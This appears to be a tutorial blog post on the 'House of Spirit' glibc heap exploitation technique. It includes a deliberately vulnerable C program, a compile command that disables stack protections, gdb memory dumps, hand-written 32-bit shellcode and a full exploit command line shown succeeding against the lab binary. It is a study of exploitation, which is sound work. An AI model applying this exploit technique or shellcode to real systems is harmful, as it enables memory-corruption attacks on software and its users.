The last technique from the “Malloc Maleficarum” is different from all the others because, among the requirements, there’s a stack overflow.

THE HOUSE OF SPIRIT

Ingredients:

The attacker can control a location of memory higher than the one he’s trying to change: the exact location depends on the fake size of the chunk we’re free-ing (see third point)

A stack overflow that allows to overwrite a variable containing a chunk address returned by a malloc() call

The aforementioned chunk is freed

Another chunk is allocated

The attacker can control the content of this last chunk

So, for the first time, the main goal is not to overwrite the metadata of an allocated chunk, but to control the argument passed to its subsequent free() call. In fact, the result of this operation is that an arbitrary address is linked into a fastbin. Another malloc() call would return such address as a chunk of memory: if the attacker can write into this area of memory, then he’ll be able to overwrite important values for the execution flow.

The problem, now, is to decide what this pointer should be overflowed with. In order to correctly look like a fake chunk, it needs a good chunk size field (which is located 4 bytes before the pointer value). Also, as it needs to trigger the fastbin code, it’s required that the size must be less than av->max_fast (set to 64 + 8 by default) AND equal to the normalized size that the following malloc() will request (i.e. the malloc‘s argument + 8). In the end, the stored return address (or whichever thing we’d like to overwrite) needs to be located no more than 64 bytes away from this size field.

Once the free() is called, the following code (glibc 2.3.5 line #3368) is executed:

void public_fREe(Void_t* mem) { mstate ar_ptr; mchunkptr p; /* chunk corresponding to mem */ [...] p = mem2chunk(mem); #if HAVE_MMAP if (chunk_is_mmapped(p)) /* release mmapped memory. */ { munmap_chunk(p); return; } #endif ar_ptr = arena_for_chunk(p); [...] _int_free(ar_ptr, mem);

In this context, mem is the overflowed value we changed, which is transformed into a pointer to the chunk. In order to correctly go on, the size field must not have the IS_MMAPPED and the NON_MAIN_ARENA bits set. If so, the _int_free function is called:

void _int_free(mstate av, Void_t* mem) { mchunkptr p; /* chunk corresponding to mem */ INTERNAL_SIZE_T size; /* its size */ mfastbinptr* fb; /* associated fastbin */ [...] p = mem2chunk(mem); size = chunksize(p); [...] /* If eligible, place chunk on a fastbin so it can be found and used quickly in malloc. */ if ((unsigned long)(size) <= (unsigned long)(av->max_fast) #if TRIM_FASTBINS /* If TRIM_FASTBINS set, don't place chunks bordering top into fastbins */ && (chunk_at_offset(p, size) != av->top) #endif ) { if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0) || __builtin_expect (chunksize (chunk_at_offset (p, size)) >= av->system_mem, 0)) { errstr = "free(): invalid next size (fast)"; goto errout; } [...] fb = &(av->fastbins[fastbin_index(size)]); [...] p->fd = *fb; *fb = p; }

In this segment of code, if the size field was set to a value smaller than 64, the fastbin code is triggered. As you can see, there’s that suspicious if that checks for the size of the chunk next to the one we’re freeing. As the fake chunk’s size must be big enough to include the stored return address (or whatever else we’re trying to overwrite), the size of the chunk next to the fake one must be over the location of the stored return address.

If everything goes fine, then the fake chunk’s address will be put into a fastbin and the next malloc() request (which will be fulfilled by the fake size we set) will return it, allowing the attacker to do its job.

As usual, blackngel, in his “Malloc Des-Maleficarum“, provided us an example that perfectly matches the requirements:

/* * blackngel's vulnerable program slightly modified by gb_master */ #include <stdio.h> #include <string.h> #include <stdlib.h> void fvuln(char *str1, int age) { char *ptr1, name[32]; int local_age; char *ptr2; local_age = age; ptr1 = (char *) malloc(256); printf("

PTR1 = [ %p ]", ptr1); strcpy(name, str1); printf("

PTR1 = [ %p ]

", ptr1); free(ptr1); ptr2 = (char *) malloc(40); snprintf(ptr2, 40-1, "%s is %d years old", name, local_age); printf("

%s

", ptr2); } int main(int argc, char *argv[]) { int pad[10] = {0, 0, 0, 0, 0, 0, 0, 10, 0, 0}; if (argc == 3) fvuln(argv[1], atoi(argv[2])); return 0; }

It’s clear that the strcpy on name using a user-defined input allows to overwrite the value of ptr1. Then, at the end, snprintf allows the attacker to write into ptr2 and to complete the exploit. About the modifications I did:

I don’t know why blackngel put a static attribute to both ptr1 and name variables. Anyway, I removed it, as I was not comfortable into having these variables in the .bss area.

The pad into the main function is required for two reasons: Allow a correct 8-bit alignment for the fake chunk ptr1 Have a valid size value for the next chunk check in the free (I actually tried with a smaller pad, but ptr1‘s value was ending with \x20 on my machine and I was unable to pass this value in the shellcode)



In order to have everything working, I had to:

Disable ASLR with the usual echo command

Boot the kernel with the noexec=off parameter

Disable GCC’s stack protections

About the third point, it all reduces to:

gcc hos.c -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -mno-accumulate-outgoing-args -z execstack -o hos

So, the first thing to do is to overwrite ptr1‘s value: I will use, for the age parameter, the same value blackngel used in the original paper (48). Now we need a good value for ptr1.

$ ./hos `python -c 'import sys; sys.stdout.write("A" * 32 + "B" * 4 + "C" * 4)'` 48 PTR1 = [ 0x804b008 ] PTR1 = [ 0x43434343 ] Segmentation fault

Right after the strcpy the stack looks like this:

(gdb) x/40x 0xffffcef0 0xffffcef0: 0x00000000 0xffffcf60 0x08048625 0x41414141 0xffffcf00: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffcf10: 0x41414141 0x41414141 0x41414141 0x42424242 0xffffcf20: 0x43434343 0x00000000 0xffffcf68 0x080486c0 0xffffcf30: 0xffffd19e 0x00000030 0x00000000 0x00000000 0xffffcf40: 0x00000000 0x00000000 0x00000000 0x00000000 0xffffcf50: 0x00000000 0x0000000a 0x00000000 0x00000000 0xffffcf60: 0xf7e5d000 0x00000000 0x00000000 0xf7cdd943 0xffffcf70: 0x00000003 0xffffd004 0xffffd014 0xf7feb05e 0xffffcf80: 0x00000003 0xffffd004 0xffffcfa4 0x0804a014 PTR1 -> 0xFFFFCF20 PTR2 -> 0xFFFFCF1C (??) local_age -> 0xFFFFCF24 (sadly overwritten with a NUL character) EBP -> 0xFFFFCF28 RET -> 0xFFFFCF2C name -> 0xFFFFCEFC

I don’t know how or why GCC decided to put ptr2 between name and ptr1, but this won’t change much the things. Ok, so, ptr1 needs to be set to local_age + 4 (0xFFFFCF28): in this way, the chunk’s address will be 0xFFFFCF20, and its size field will be right where local_age is stored. We need, anyway, to overwrite local_age with its good value (48 in this scenario), as the strcpy destroyed its assigned value by putting the string terminator character there.

So, the new command line will look like this:

./hos `python -c 'import sys; sys.stdout.write("A" * 32 + "B" * 4 + "\x28\xCF\xFF\xFF" + "\x30")'` 48

Once ptr1 gets the value 0xFFFFCF28 and the malloc() is called again, the value 0xFFFFCF28 will be assigned to ptr2 again. As the return value is stored at 0xFFFFCF2C, this means that the bytes 4-7 of name (the variable that is going to be copied inside ptr2 through an sprintf) need to be set to the desired return value: in our case it’s the beginning of a shellcode stored inside the name variable itself (i.e. the address of name: 0xFFFFCEFC).

As the space inside the name array is very small for my good-old “Pwned!” shellcode, I had to shrink it and adapt to this scenario. Sadly, I had to shorten the printed string to a simple “Pwn”.

section .text global _start _start: xor eax, eax jmp tricky_end db 0xFC, 0xCE, 0xFF, 0xFF ; the new RET value tricky_start: mov al, 4 xor ebx, ebx inc ebx pop ecx xor edx, edx mov dl, 3 int 0x80 mov al, 1 int 0x80 tricky_end: call tricky_start db 'Pwn'

$ objdump -d pwn -M intel pwn: file format elf32-i386 Disassembly of section .text: 08048080 : 8048080: 31 c0 xor eax,eax 8048082: eb 14 jmp 8048098 8048084: fc cld 8048085: ce into 8048086: ff (bad) 8048087: ff b0 04 31 db 43 push DWORD PTR [eax+0x43db3104] 08048088 : 8048088: b0 04 mov al,0x4 804808a: 31 db xor ebx,ebx 804808c: 43 inc ebx 804808d: 59 pop ecx 804808e: 31 d2 xor edx,edx 8048090: b2 03 mov dl,0x3 8048092: cd 80 int 0x80 8048094: b0 01 mov al,0x1 8048096: cd 80 int 0x80 08048098 : 8048098: e8 eb ff ff ff call 8048088 804809d: 50 push eax 804809e: 77 6e ja 804810e <tricky_end+0x76>

Putting all together, we get the expected result:

$ ./hos `python -c 'import sys; sys.stdout.write("\x31\xc0\xeb\x14\xfc\xce\xff\xff\xb0\x04\x31\xdb\x43\x59\x31\xd2\xb2\x03\xcd\x80\xb0\x01\xcd\x80\xe8\xeb\xff\xff\xff\x50\x77\x6e" + "B" * 4 + "\x28\xCF\xFF\xFF" + "\x30")'` 48 PTR1 = [ 0x804b008 ] PTR1 = [ 0xffffcf28 ] 1�������1�CY1Ҳ̀�̀�����Pwn(���(� Pwn$

And that’s actually it: the House of Spirit. This post concludes my trip into the paper that introduced glibc’s heap overflows to the world. I showed how some of the tricks described in it still work nowadays and this has been a lot of fun for me and I really hope you had some when reading all this stuff.

See you soon, guys…